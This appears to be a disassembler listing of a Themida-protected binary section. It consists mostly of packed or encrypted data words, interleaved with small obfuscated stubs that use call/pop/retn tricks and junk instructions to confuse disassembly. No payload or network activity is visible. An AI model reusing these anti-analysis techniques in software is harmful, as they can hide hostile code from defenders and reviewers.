		dd 0E43F5B58h, 3D9157B2h, 888h,	5ABBC7DEh, 40A1AFCBh, 2A8B99B1h
		dd 1677859Bh, 1626E87h,	718A9A1Ch, 5B750465h, 425DEC4Dh
		dd 2946D536h, 81AEBC1Dh, 640CFCA2h, 0C814DD8Fh,	70DDE902h
		dd 37F7869Ah, 0F769A8FEh, 0DEEA0796h, 0E502F17Dh, 53E20FD9h
		dd 27BA2C38h, 0C69DFE0Ah, 16F56291h, 9B864131h,	0B70AD4FAh
		dd 9E2D8E9Ah, 8AB7581h,	16B02EB3h, 0A8728096h, 0ACEAC90Eh
		dd 7E11E710h, 188C5664h, 0E8E12412h, 0ABC81422h, 0EAC9329Fh
		dd 82343B4h, 2C8DFF25h,	0AA74809Dh, 23439407h, 0FA3C0608h
		dd 4CB9C5E2h, 439A04E3h, 193F0823h, 9AB746A7h, 0C197C48Eh
		dd 0D9974F24h, 0EBCE40F8h, 8232CACh, 0F0063D55h, 5BAE78E2h
		dd 0F66A3440h, 0BBF46F0h, 8EAB3105h, 0C8323E59h, 0ACBBD867h
		dd 232CD1CDh, 78E20808h, 0A0DE13AEh, 232CDDC1h,	6CD6FC08h
		dd 590720FFh, 0BEE40E31h, 2251865Dh, 0D3DD6B5h,	0F0860823h
		dd 4FC997F0h, 0DEA812F0h, 700603Bh, 4DE9AFFCh, 7BD91F94h
		dd 46041CCh, 0B2F10000h, 957826ECh, 7836C7D3h, 0A1906695h
		dd 0B9C7DF87h, 335A4DFh, 0D94B5770h, 774D8CF6h,	0C8E27195h
		dd 16B7991h, 45EEAC8Fh,	9CD19577h, 4219F865h, 119B855Ch
		dd 830E15EBh, 440AACD4h, 72FF0h, 14203700h, 0FA0824B3h
		dd 0E4F20A99h, 0D0DEF483h, 0BBC7E06Fh, 0E3F3755Ah, 0CE5DBECAh
		dd 0B645A6B4h, 9F2E8F9Bh, 7157682h, 0AA3FBDAh, 6D368F64h
		dd 0D9E50221h, 47F740Fh, 0E6C52E97h, 957826B8h,	0A689FB21h
		dd 9B8C3ED0h, 0C93293B9h, 9F111D3Ah, 0A99E1FC3h, 0ED10FCCAh
		dd 3BA5EE02h, 20BCEFCEh, 0A1379572h, 0EF4D4A6Ah, 0C2A8CA5Dh
		dd 78E4AF89h, 2AF4021Ah, 0EA039600h, 0B19074DEh, 38B6E12Ch
		dd 40AD2419h, 2839A61h,	66D3F9E0h, 41B3C1D7h, 6CE7DC77h
		dd 882720FFh, 0DE04D9F4h, 0B9C5E271h, 0A0ACC958h, 65A0D9CAh
		dd 9BEFB56Eh, 680h, 62C3CFE6h, 48A9B7D3h, 3293A1B9h, 1E7F8DA3h
		dd 96A768Fh, 7992A224h,	637D0C6Dh, 4A65F455h, 314EDD3Eh
		dd 89B6C425h, 640AF4AAh, 0D01CE58Fh, 0E14E85BAh, 86414502h
		dd 0A36C429Bh, 1D169620h, 9EC48DFFh, 0F9D1A7D4h, 6CEFBC5Ah
		dd 304DE052h, 0DBA15A24h, 0CD04395Bh, 0DAC68160h, 3F659577h
		dd 0A59BFFDEh, 821C895Bh, 45895BA5h, 0F86A7110h, 0A56F7B94h
		dd 9CC7A17Bh, 0B493006Ah, 8F6FA8C2h, 0A534A1C7h, 400A7C88h
		dd 477A049Dh, 79D8C183h, 102D8347h, 4BB5C3DBh, 0F6387A75h
		dd 3C9056B8h, 5DCh, 667738Ah, 0EC4D5B77h, 0D637455Dh, 0C2233147h
		dd 0AD0E1A33h, 1D3646C8h, 721B011h, 0EE0998F9h,	0D5F281E2h
		dd 2D5A68C9h, 6409504Eh, 74C0898Fh, 75839928h, 340F81ABh
		dd 0EE57C43Fh, 0C93B495Fh, 8C3E90E6h, 8DAAF99Bh, 69351481h
		dd 708F640Eh, 0C316E04Ah, 62399AA6h, 0DA2DF754h, 0E750B1BDh
		dd 642E3C58h, 83EDFB11h, 0E5617E11h, 3D16DA23h,	117EE8A4h
		dd 0E85A6882h, 79AECB1Eh, 7CE95361h, 3D6A3413h,	496F8F63h
		dd 0A1BA0DD7h, 5E78CB95h, 0D2DC8650h, 0DFBF9E64h, 0FA8F633Dh
		dd 9E686AD4h, 1B274498h, 9B31D8AEh, 1F6D7A68h, 54E34CADh
		dd 36602A38h, 0ADC136C4h, 0A5E3391Fh, 93000001h, 0BEAB5228h
		dd 245EC10Eh, 46E2D7B2h, 0D3E1F72Eh, 0B392FF69h, 9B85AF74h
		dd 55E45177h, 38622C38h, 66CFFCC6h, 69561787h, 2A9CC28Fh
		dd 69565547h, 441A478Fh, 0AC739686h, 7F89FB52h,	0A6BC4BB7h
		dd 32A4CE98h, 82EF6257h, 779084A3h, 0E0416795h,	0B3A177h
		dd 9B348AE6h, 165ED12Bh, 93056F0Eh, 0DD7E300h, 30919DBAh
		dd 0ABC46459h, 1FE1BD9Ch, 0D2F8895Ch, 0E1749E68h, 0C5EFB9C7h
		dd 465FEE5Bh, 0D446703Ah, 2D338867h, 0BAE08F6Ah, 1C34C3F0h
		dd 0E1B99C0Eh, 2C834E10h, 9C11D066h, 0C04534C9h, 37h, 4E85BA70h
		dd 365D02E1h, 0CB5A9B86h, 0F810A3B1h, 89AF78EAh, 0EA0392BFh
		dd 8E714DEh, 8F6A1696h,	41B31D43h, 6A163C5Eh, 2B0BD18Fh
		dd 18C741B6h, 0AB6339h,	28130000h, 26BEE0BFh, 0CC1B9578h
		dd 0CC3EA8B6h, 46101C39h, 4CEDAF3h, 0BE8894B1h,	0DBE70291h
		dd 0E275E711h, 7958B9C5h, 95782AEEh, 298A96B3h,	79E61D52h
		dd 4EC0CEEAh, 0C77102E1h, 0EC129B88h, 0A2D7F07Fh, 2C3A5287h
		dd 64CEF8C2h, 69C49A03h, 2EED58A1h, 0D2DEF98Ch,	0D96CDE08h
		dd 0B9DEB4C0h, 0B5ACD5BEh, 3DA9BEFh, 758C0000h,	5D790869h
		dd 475FEE4Fh, 3349D839h, 1C35C425h, 48CAAF10h, 0B2131F38h
		dd 9AFB0923h, 83E4F00Bh, 6ACBD7F4h, 4E502F5Ch, 8B8F6407h
		dd 0E90276C2h, 0D0ED7CDDh, 91FA63C4h, 7826ECB2h, 55C7ED95h
		dd 0B0E502C5h, 93BD8793h, 152DBC29h, 9ECB9507h,	0EE8F40Fh
		dd 73C135F8h, 0D164D6E7h, 0BB47A8B4h, 78A6E8B2h, 0A6CBCF95h
		dd 0FFF49577h, 3E381784h, 4B9B8BBEh, 582E5B25h,	0ACB0CB79h
		dd 300B7DF1h, 7C5BC83Bh
		dd 957240DBh, 65744A70h, 41B2E7D8h, 342277Bh, 0D240000h
		dd 0F511A001h, 0DFF786E7h, 0CBE170D1h, 0B4CD5CBDh, 0E06247A8h
		dd 4AABB7D0h, 3293A1BBh, 1B7C88A3h, 2636F8Ch, 0B6E8C7F4h
		dd 238F6406h, 0E5020E5Ah, 53E20FD9h, 35622C38h,	78264856h
		dd 16B9195h, 0D3DFFC8Fh, 2BA69B72h, 34DCDFBEh, 11379B86h
		dd 0D2B11A47h, 8F6A18CCh, 9275E70Dh, 8F6A1808h,	0EAF73F05h
		dd 3918C175h, 3E97h, 85BA4700h,	5D02E14Eh, 0FE9B8636h
		dd 2F6B0ED8h, 0D88F6A16h, 97EAB4C2h, 0FBA56F7Dh, 33C045F1h
		dd 0A318C96Dh, 0C53918C7h, 100h, 4E502F98h, 8B8F6A0Ah
		dd 8519F865h, 548F6A0Ah, 22CBC2Eh, 0DD6CD9E5h, 0C1EBB5C3h
		dd 1932854Fh, 0F711A00Dh, 80AD77E9h, 55C7D5F1h,	0CF99A5C2h
		dd 0F2535F7Ch, 782B5413h, 24304D95h, 0B1734C3h,	0E6F20F9Eh
		dd 0DA0FAA74h, 45B3AA7h, 0B39B8637h, 33FD0924h,	4FB9C5E0h
		dd 0CA94A2BCh, 3F652EA0h, 76D207DEh, 76E34D59h,	0B702E0Dh
		dd 43698F6Ah, 92FB64D1h, 12DCE803h, 0B9905E8h, 1A408F6Ah
		dd 0B4A8C5A8h, 0C22B957Ah, 5962BBE3h, 86F81E89h, 9B2A97BDh
		dd 0A0097682h, 5962DDC1h, 43D6FC89h, 27511B29h,	0ACC554B5h
		dd 89536177h, 61FF55Fh,	0E2B2E44Fh, 1EEC81Ch, 61780000h
		dd 4965F455h, 334BDA3Bh, 1F35C425h, 821B011h, 34B69BFCh
		dd 9EFF0B24h, 86E7F50Fh, 6FD0DCF7h, 56B7C3E0h, 623C1B48h
		dd 778F6405h, 0E90262AEh, 0D0ED7CDDh, 26BCE2C1h, 39539578h
		dd 6E37612Bh, 0F17DDE48h, 727E9928h, 0C1302500h, 35EA7554h
		dd 4B719B86h, 16BCDE81h, 314B8F6Ah, 4D2C5923h, 8F6A1651h
		dd 0B4CF6288h, 717BDEA8h, 0EDB340C5h, 0C7239849h, 0D8453918h
		dd 0F5000000h, 717F9928h, 434F6CFFh, 10D2679h, 2AD39437h
		dd 0B1CE9578h, 0F0CF38A5h, 957821AEh, 1AFBA71Ah, 935CF3B9h
		dd 686936Dh, 766E1379h,	0F714A304h, 65F421EBh, 93AE414Fh
		dd 53A1587h, 27B2EE5Eh,	0A10BEF0Ch, 180A5534h, 2519B86h
		dd 0E50FD9E5h, 0FF380E7Bh, 0AE4FA1Ah, 972D345h,	0DF515D7Ah
		dd 556BCF04h, 0E9537D47h, 0BC719D7Ch, 2248957Ah, 0D30A26B5h
		dd 0CD3FA9B7h, 0ACB8D160h, 97A3BC4Bh, 0E43F7EC1h, 60B47AB2h
		dd 0E4h, 0FE5F6B82h, 0E445536Fh, 0CE2F3D55h, 0BA1B293Fh
		dd 0A506122Bh, 152E3EC0h, 0FF19A809h, 0E60190F1h, 0CDEA79DAh
		dd 255260C1h, 64045846h, 6CB8818Fh, 9EB4E902h, 5773C690h
		dd 1475DF49h, 0F2001CABh, 556BFE28h, 2542D547h,	22CB819h
		dd 0E20FD9E5h, 612B3953h, 7F8BA437h, 515D7A0Dh,	0AD2419F0h
		dd 8997B140h, 0B62395BFh, 8C3E9BD7h, 53C0E69Bh,	0FBF1187Dh
		dd 8CFE2E9Bh, 1D526FC2h, 0FF29F301h, 88A53495h,	0BE2B3953h
		dd 6402BFDFh, 8AF41A8Fh, 0A25B41Dh, 2831BFEh, 7568F64h
		dd 0EF19E3F1h, 1C491385h, 0CB5BDA46h, 54C67963h, 20A2F371h
		dd 0BA7C42E2h, 98F90522h, 16E0EC09h, 329FADC3h,	0B57F8DA3h
		dd 0A54F198Bh, 0D8679B9Bh, 0AA3DAFBBh, 9120818Dh, 4A9E6874h
		dd 8, 69759221h, 28B467F7h, 15DFEB02h, 0CF99A5C2h, 8B55617Ch
		dd 46101E38h, 4CEDAF3h,	0C28C98B1h, 814B596Fh, 3E08162Eh
		dd 0F7C1CFEBh, 0E6895697h, 4C681h, 0EE830000h, 24348704h
		dd 2414895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 89532434h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 242C895Ch
		dd 18706851h, 89590614h, 8B5459CEh, 0C483242Ch,	4EC8104h
		dd 89000000h, 458F2434h, 2434FF08h, 4C4835Dh, 5024348Bh
		dd 405E089h, 83000000h,	48704C0h, 0B5E95C24h, 80FFFB27h
		dd 142389B8h, 0FFC50306h, 86D745E0h, 1A759D61h,	7F817151h
		dd 25AC4041h, 8D4CB57Ch, 2003876h, 2755B42Fh, 8B2CF92Dh
		dd 1C72F66Fh, 4B99C20Ch, 21C2FD3Ah, 25AEBE42h, 0C4A71469h
		dd 6CE41109h, 0BF905C7Fh, 390BC62Ah, 538D8D69h,	6A061425h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 1134C353h, 8E85760h, 0D7000000h, 0A11AAB0Ah
		dd 5E651212h, 8D896158h, 60E2FC5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0B2C35747h,	98926EA2h, 8185C701h
		dd 54060E08h, 6A000063h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 52F1C353h, 8E0F1BAAh
		dd 6, 1FDD9589h, 85C7060Eh, 60E28D9h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+60E31B9h],	edx
		add	[ebp+60E04C9h],	edi
		push	dword ptr [ebp+60E0DCDh]
		push	0
		push	esi
		call	sub_5ABB01
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ABB01	proc near		; CODE XREF: Themida_:005ABAF9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5ABB01	endp

; ---------------------------------------------------------------------------
		db 84h,	13h, 0D1h
; ---------------------------------------------------------------------------
		jbe	loc_5ABB1D
		movsx	esi, dx


loc_5ABB1D:				; CODE XREF: Themida_:005ABB14j
		mov	ax, dx
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	ebx
		call	sub_5ABB31
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ABB31	proc near		; CODE XREF: Themida_:005ABB29p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5ABB31	endp

; ---------------------------------------------------------------------------
		db 0F4h, 29h, 85h
; ---------------------------------------------------------------------------
		or	eax, 6A060E1Ah
		add	bh, bh
		xchg	eax, ebp
		inc	ebp
		femms
		push	es
		mov	eax, eax
		jmp	short loc_5ABB62
; ---------------------------------------------------------------------------
		dd 3BD7AAE6h, 6B7FA85Ah, 199D1D10h
		db 16h,	39h
; ---------------------------------------------------------------------------


loc_5ABB62:				; CODE XREF: Themida_:005ABB52j
		lea	ecx, [ebp+6142655h]
		push	0
		push	eax
		call	sub_5ABB73
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ABB73	proc near		; CODE XREF: Themida_:005ABB6Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5ABB73	endp

; ---------------------------------------------------------------------------
		db 0BBh
		dd 0A91A63A6h, 0ECA9BB6Dh, 21FD9D89h, 0C38B060Eh, 2FC58D89h
		dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 2F66D4C3h, 0C0237BC6h, 0FC3B70Fh,	23B3F8BFh
		dd 88185C7h, 5DF4060Eh,	52B00000h, 28D985C7h, 60Eh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0E165B8C3h, 10584Ch,	0C1B5FFFCh, 6A060E07h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0D9FDC353h, 3F373079h, 13E93F0Bh, 32000000h,	0DD7FCA4Dh
		dd 45A8C02Ch, 0BE553DC4h, 15DAB13Ch, 95FFAC4Ch,	60E09B9h
		dd 0E5AAE381h, 6A4097h,	0F4595FFh, 0C08B060Eh, 149F5CEBh
		dd 1DD8D600h, 0E2309E55h, 0A65E189Bh, 0F1F513E8h, 6D78F1Ah
		dd 96EFB85h, 4FC1B5BBh,	84F299FFh, 23F0D2D9h, 0EC6EB4E7h
		dd 0FBA50BDDh, 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 53C1D1B6h
		dd 771AC9B5h, 4E4FAA0Eh, 8EE78DC9h, 36D02488h, 1C2C792Dh
		dd 0CB9C6B8Bh, 0B54477D0h, 0CE8A614h, 73000000h, 0C415826Fh
		dd 0FF2D348Dh, 29EA36D7h, 0E0E9195h, 0C7815F06h, 6F93h
		dd 0E1EB8166h, 8BD233BAh, 0E2A758Dh, 17048B06h,	810AEB80h
		dd 43257FE8h, 2D8D8B65h, 81060E35h, 9E6234C0h, 0DE85Dh
		dd 265E0000h, 0B47E623Ah, 0CC9F5F17h, 31BE5DC8h, 0E19A9BDh
		dd 0C0815B06h, 1E640257h, 5F66BE66h, 8B170489h,	0E2A3DB5h
		dd 22EA8106h, 6671D3B6h, 0C281C88Bh, 71D3B61Eh,	958B6057h
		dd 60E2EA5h, 22998D89h,	5B61060Eh, 9104FA81h, 850FFFFFh
		dd 0FFFFFF91h, 9959D89h, 8BE9060Eh, 0C2000000h,	474CFBF1h
		dd 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h, 720095B7h
		dd 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h
		dd 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh,	0B99D8993h
		dd 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah
		dd 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh, 0B69F8995h
		dd 97BBEFh, 0C3B1B6D0h,	527155h, 0C20DA437h, 0E0910D3h
		dd 3 dup(0)
		dd 37E90000h, 68000010h, 61429F2h, 0FA56ABE9h, 2B1268FFh
		dd 0A1E90614h, 68FFFA56h, 6142C1Bh, 0FA5697E9h,	2D6A68FFh
		dd 8DE90614h, 68FFFA56h, 6142DF7h, 0FA5683E9h, 2E9768FFh
		dd 79E90614h, 68FFFA56h, 6142F2Fh, 0FA566FE9h, 2FE968FFh
		dd 65E90614h, 68FFFA56h, 6143094h, 0FA565BE9h, 312068FFh
		dd 51E90614h, 68FFFA56h, 61431C3h, 0FA5647E9h, 32ED68FFh
		dd 3DE90614h, 68FFFA56h, 614358Ah, 0FA5633E9h, 364A68FFh
		dd 29E90614h, 2DFFFA56h, 0CA76B36h, 0F08B4F10h,	0D36E32F5h
		dd 0B55014D9h, 530F4BDh, 652E265Fh, 460D06A1h, 2CE9E782h
		dd 11D0CD68h, 7536014Dh, 5D7D9812h, 0B69745AEh,	3DEFAB9h
		dd 0D4784706h, 3946013Ah, 59196E5Ch, 54239E9Ah,	77651193h
		dd 1834AF61h, 9B7DF81Bh, 0BF8880A2h, 0E7CCC8A3h, 94B02BEAh
		dd 82F94AC8h, 9B7D46C1h, 47FFAA2h, 18469759h, 0B6037ADFh
		dd 5447h, 0A692D900h, 0BE39FCF7h, 9F7C20EFh, 4EFAAB2Eh
		dd 7E2B6E2Fh, 2CA75B69h, 0D4B0CD7h, 0C3617771h,	82212C48h
		dd 0F3AAC685h, 0FA2E19Eh, 783AA29Bh, 20E1B027h,	0A29B0FF9h
		dd 789DE59h, 0B6038CF0h, 60A76837h, 0E0A29B03h,	68844541h
		dd 15E136B1h, 0F5h, 0FAB9B6A7h,	4304D3DEh, 5B69B0C4h, 11AC017Ch
		dd 59345019h, 0B97A495Ch, 5B69B05Eh, 53B677F2h,	175B69B0h
		dd 18935A1Bh, 0D2ACE9Dh, 3E21195Fh, 0EE90156h, 0E4835211h
		dd 12D227E8h, 69081955h, 0BFD2CF5Bh, 69089BFEh,	41BC375Bh
		dd 0D2E5E27Dh, 6908F611h, 54CF4A5Bh, 9D5E2D38h,	5B69087Ah
		dd 47065BD6h, 3201D0F1h, 0BAD69793h, 6FF1AE03h,	91617775h
		dd 0A5935216h, 0B1AE4D1Ch, 15B209C9h, 0F46F183Ah, 27256425h
		dd 229DA29Bh, 6E4102CDh, 0A9888CFh, 0D33BC766h,	0F54ADE15h
		dd 49E8B732h, 29C48851h, 65126831h, 0C522861Ah,	0D6CDF69h
		dd 0B1A80000h, 8B8722E6h, 706B06CAh, 544EE9ADh,	3830CB8Fh
		dd 0C480AB6Fh, 1CE0A9A1h, 0FDC18881h, 0E3A76462h, 0C88C4B48h
		dd 0A9F0B17Ch, 295D7D99h, 0B78612C0h, 69B093F6h, 5FB42F5Bh
		dd 3F03CCC4h, 24E8A7A4h, 1BA692B6h, 0EDAE7D4Ch,	5B69B0AAh
		dd 9956AB26h, 6177BFBFh, 7D7A9611h, 0A298401Eh,	723E8E2h
		dd 54702F2Ch, 0A8CB1C9Eh, 0BCEA3BFDh, 0B6045C3Bh, 0F0EBh
		dd 90512000h, 0A2985409h, 8BF94EC9h, 28EDE786h,	7C3B38D3h
		dd 0C48D8560h, 0B547ABA8h, 28255B69h, 0D0AA569h, 0E8E07F4Eh
		dd 0B3B2CA1Fh, 9E6D3C85h, 0EA3F06FFh, 8836132Dh, 2C26C59Eh
		dd 73704B67h, 66E198B4h, 0FD34E11h, 0AD9E850h, 6E1F7A3Bh
		dd 0EAABA298h, 0A2986EAFh, 66E1A823h, 0D3774611h, 0A8F5BAE9h
		dd 41C8897Dh, 1A2984Dh,	0F9B60B86h, 988BA825h, 0CC4B0CDBh
		dd 84A888E8h, 20BF8E09h, 803F3C27h, 1632AD64h, 65EBB5Fh
		dd 7FA54A6Ah, 0C8C05F2Ah, 0A8A03BFFh, 0E3FFBEBBh, 0E45BB12Ch
		dd 4228663h, 0C4C1EA8h,	0D1C80000h, 0ABA74206h,	908B26EAh
		dd 746E09CDh, 5850EBAFh, 24A0CB8Fh, 3C00C9C1h, 1DE1A8A1h
		dd 3C78482h, 0E8AC6B68h, 8910D19Ch, 495D7D9Bh, 0BEB632E0h
		dd 999631F5h, 0A74B16DAh, 19F5F93h, 9E9736C2h, 0AF04BBD7h
		dd 0BCE28641h, 0E46AC8B9h, 0B2AF4A9Fh, 0FFFCD7F3h, 0E6E17C40h
		dd 2DFC0723h, 69D32D6Ch, 5B2AA55Bh, 69D37F9Ah, 358D35Bh
		dd 0E8AC6B68h, 0A8D4E1Dh, 0C65B69D3h, 1381F64Bh, 9E635DFCh
		dd 0B776CB82h, 0B0714081h, 6177BC1Ch, 0CD4C0DDCh, 85A29B84h
		dd 0F9F68F0Ah, 0AB01D59Bh, 7A9D5E2Dh, 0D65901B3h, 0F147065Bh
		dd 933201D0h, 2B9D598h,	0BF14F0ADh, 35D4631Fh, 0E2FE7938h
		dd 571855E3h, 0A7304730h, 85461590h, 0A7304702h, 0F9C843BEh
		dd 5BC94F55h, 2378EE43h, 72E09758h, 0B4589D22h,	629DD191h
		dd 7F429733h, 99963504h, 0DDF9BAB6h, 0C68F8726h, 0B478F3AAh
		dd 75D1C19h, 2720F55Eh,	43C04AA6h, 0D100000Bh, 0B04B0FDAh
		dd 942FF3B4h, 7712D699h, 59F4B87Dh, 0A9D49861h,	9D2CA3Bh
		dd 0EAB1AA45h, 0D08D8B26h, 0B574710Ch, 19DAA5F1h, 5D7D9CFEh
		dd 863BE952h, 0B093F6B7h, 66275B69h, 5B69B023h,	0E25D249Fh
		dd 36F5F28Dh, 0BCCC867h, 999F9EB6h, 27430C04h, 6526F570h
		dd 6177BDC7h, 0A4676201h, 92A66529h, 0D091602Fh, 0A2984249h
		dd 6E398E09h, 861397ADh, 0BAD65198h, 8A705EBDh,	35416A8h
		dd 128C22D5h, 4C04BCh, 9A390000h, 0BC2DE9Dh, 0A69248B6h
		dd 0B5AD4C1Bh, 0C419D0ECh, 0FEE438F9h, 29A46177h, 0DABFBB5Ah
		dd 4B021EDDh, 0A8FDB4D0h, 5A403EDDh, 177A426Eh,	5CB02379h
		dd 0C8EE93BCh, 510ED24Dh, 0A298DD34h, 34F8B7B4h, 0C2DE9B99h
		dd 0A7138h, 0A692C600h,	388B4C1Bh, 0F0617DD8h, 3C915851h
		dd 902FFE79h, 7510D493h, 929DB978h, 688702C3h, 0C03BA282h
		dd 358CAC6Bh, 48F39766h, 2CB6542Ch, 8B544CEBh, 7BB97936h
		dd 0B04F9896h, 20D7F3B4h, 6E6908CBh, 0F7E0EB82h, 27D7F48h
		dd 0E5B42FE6h, 68664946h, 5DD88FABh, 1901FE99h,	1FD3D7C7h
		dd 0BDD9547Fh, 78477ABEh, 0A02139B7h, 3028C792h, 3796EC67h
		dd 2B3CAE88h, 9F445CFh,	29200000h, 3FF9A5Eh, 0E8E37E42h
		dd 0CCC66125h, 0B0A84307h, 4CF823E7h, 94582119h, 753900F9h
		dd 5B1FDCDAh, 4004C3C0h, 216829F4h, 0A15D7D9Dh,	0E2868A38h
		dd 39BC91B0h, 5C196E9Fh, 5B69AE39h, 57269B9Dh, 0AE40C788h
		dd 0E235B69h, 2EFA1A19h, 98ED682Fh, 79220CCDh, 67E2617Dh
		dd 3DFCF998h, 22E1DE79h, 90310706h, 5A53F2C1h, 0A19C7793h
		dd 900BC2DEh, 5A0C4EECh, 4398C063h, 9B82E686h, 51A72298h
		dd 22B976FCh, 67F680DCh, 0AD000009h, 8C27EBB6h,	700BCF90h
		dd 53EEB275h, 35D09459h, 85B0743Dh, 0E5AEA6DFh,	0C68D8621h
		dd 0AC696702h, 91504DE8h, 0F5B681CDh, 5D7D9D92h, 0B617C52Eh
		dd 602A6B9h, 4B2C12CCh,	7A79A061h, 43FC5B69h, 3E8D4F64h
		dd 580FBC2h, 52110EE9h,	0FBCAD536h, 690DDF3Ah, 0A3F8735Bh
		dd 51A6D425h, 0D5AFF58Bh, 40Bh,	1BA69267h, 0D79F8B4Ch
		dd 0B655617Dh, 0AC7BF6BDh, 3450110Dh, 0BE5D287Dh, 0A33E02C1h
		dd 0CECBE7A6h, 0A282684Fh, 0C998290Fh, 9C656408h, 0D329A498h
		dd 22BA8C74h, 0C76EF854h, 4D000008h, 2CC78B56h,	10AB6F30h
		dd 0F38E5215h, 0D57034F9h, 255014DDh, 854E46BFh, 662D26C1h
		dd 4C0907A2h, 31F0ED88h, 9556216Dh, 5D7D9E72h, 0B6B765CEh
		dd 3DEFAB9h, 0D732F306h, 6B5B69B0h, 0F85975F0h,	90534EEDh
		dd 3E6CBD3Bh, 0AFF647B9h, 37E6Dh, 7194FF00h, 0D55B69B0h
		dd 7C3F3A63h, 0FB713201h, 5617DD7h, 2DA86B66h, 3C2BF5Eh
		dd 0E8A7A43Fh, 0E894A19h, 0C2A28268h, 0DBDAF247h, 0D495645Dh
		dd 989C6550h, 15D4D170h, 71C742F9h, 22BA8D88h, 2F028CE8h
		dd 0E5000008h, 0C45F23EEh, 0A84307C8h, 8B26EAADh, 6D08CC91h
		dd 0BDE8AC75h, 1DE6DE07h, 0FEC5BE59h, 0E4A19F3Ah, 0C9888520h
		dd 2DEEB905h, 5D7D9FEAh, 0B64FFD66h, 3DEFAB9h, 0D732F306h
		dd 6B5B69B0h, 0B0BCDB9Ch, 99145B69h, 2687A31Eh,	0EE91768h
		dd 18AFF648h, 2E3h, 0B07B94AAh,	69CF5B69h, 93C88958h, 4B617DD7h
		dd 0D899B2ACh, 0A28268B1h, 0FF1B9611h, 6130F348h, 826879A0h
		dd 370FCA2h, 5549207Ch,	0C998138Eh, 0AA6E2D2Ah,	1EE63BDFh
		dd 2305EEF2h, 773633CEh, 0E5DC5C5Bh, 3864716h, 0BFA28235h
		dd 0E9642320h, 5408C994h, 94989C48h, 2F70C319h,	0D43022BAh
		dd 7754Ah, 0DDA89F00h, 0C1827E19h, 0A46762FDh, 864B45E0h
		dd 662F27C2h, 98CD77A2h, 7813D7A0h, 59F4B87Fh, 3FDA9E5Bh
		dd 73BF8342h, 9FA0E7A8h, 0B7205D7Dh, 0FAB9B609h, 470603DEh
		dd 67B8362Bh, 0A0642320h, 0F64BD91Eh, 74DAFh, 7DF0000h
		dd 22Fh, 0B07B9495h, 69CF5B69h,	9CC88958h, 4C617DD7h, 666302D1h
		dd 4B48E3A7h, 0C771708Ch, 0E9872BFAh, 4B63F5E1h, 8108C998h
		dd 41A2827Ah, 0D7A671C6h, 0DA8CCE33h, 34895B54h, 9C17C577h
		dd 0F257FB98h, 76F0FEA2h, 0C78C8625h, 1810AF72h, 17C334Fh
		dd 0BAB17EABh, 28B20E22h, 6CAh,	0C488534Ah, 0A86C2D29h
		dd 8B4F120Dh, 6D31F6F0h, 4D11DAD2h, 4B43A222h, 2A23BE82h
		dd 6049F63h, 0EDEA8549h, 531E6A2Eh, 7D807792h, 0B462CB5Dh
		dd 0DEFAB9B6h, 2B470603h, 2067B836h, 0F1956423h, 10FBD1EFh
		dd 632621D1h, 51D393E8h, 0AFF5FBA6h, 780h, 78071200h, 95000001h
		dd 69B07A94h, 576ACE5Bh, 0D784C788h, 0C944617Dh, 9F5E5BFAh
		dd 844340DBh, 0F2CF6968h, 15F26223h, 73EE989Ch,	0BAFDFA1Dh
		dd 901A7622h, 63Eh, 5014DFD6h, 34F8B9B5h, 17DB9E99h, 0F9BD827Ch
		dd 0D99D665Eh, 0D7CF36AEh, 0B6AF4A0Eh, 92902BEFh, 797611D5h
		dd 0DFAAF6BAh, 7D81FB1Eh, 40EE575Dh, 0DEFAB9B6h, 2B470603h
		dd 2067B836h, 1EA06423h, 0AFF64BD9h, 254Dh, 0F2B38200h
		dd 0A4964497h, 0CB925B53h, 78DFB50h, 0EBh, 61A86938h, 0E15B69B0h
		dd 7BC6C266h, 300AFBD2h, 7A946DDBh, 0CE5B69B0h,	0C788576Ah
		dd 617DD78Ch, 53F2C13Ch, 743F9459h, 5519D8D5h, 0E2FEBDBAh
		dd 9D6C55E3h, 9C1568DCh, 97ED6898h, 22BAFD7Eh, 9B008AE6h
		dd 79000005h, 58F3B782h, 3CD79B5Ch, 1FBA7E41h, 19C6025h
		dd 517C4009h, 0B17A7293h, 925952EDh, 783533CEh,	5D1C19B4h
		dd 0C1824D99h, 5D7D8146h, 0B6E391FAh, 3DEFAB9h,	362B4706h
		dd 0E7D4CC6Bh, 94B02BEAh, 0B90A88DDh, 0E7A6A342h, 24BF14CBh
		dd 22A46827h, 0AFF64BD5h, 1851h, 24E28600h, 0C6B630C5h
		dd 3C5B1CEBh, 94A496F6h, 756C419h, 33h,	0FAB9B695h, 470603DEh
		dd 6E05A978h, 37387A60h, 66DAC6Dh, 100D5B69h, 0BA0F8A51h
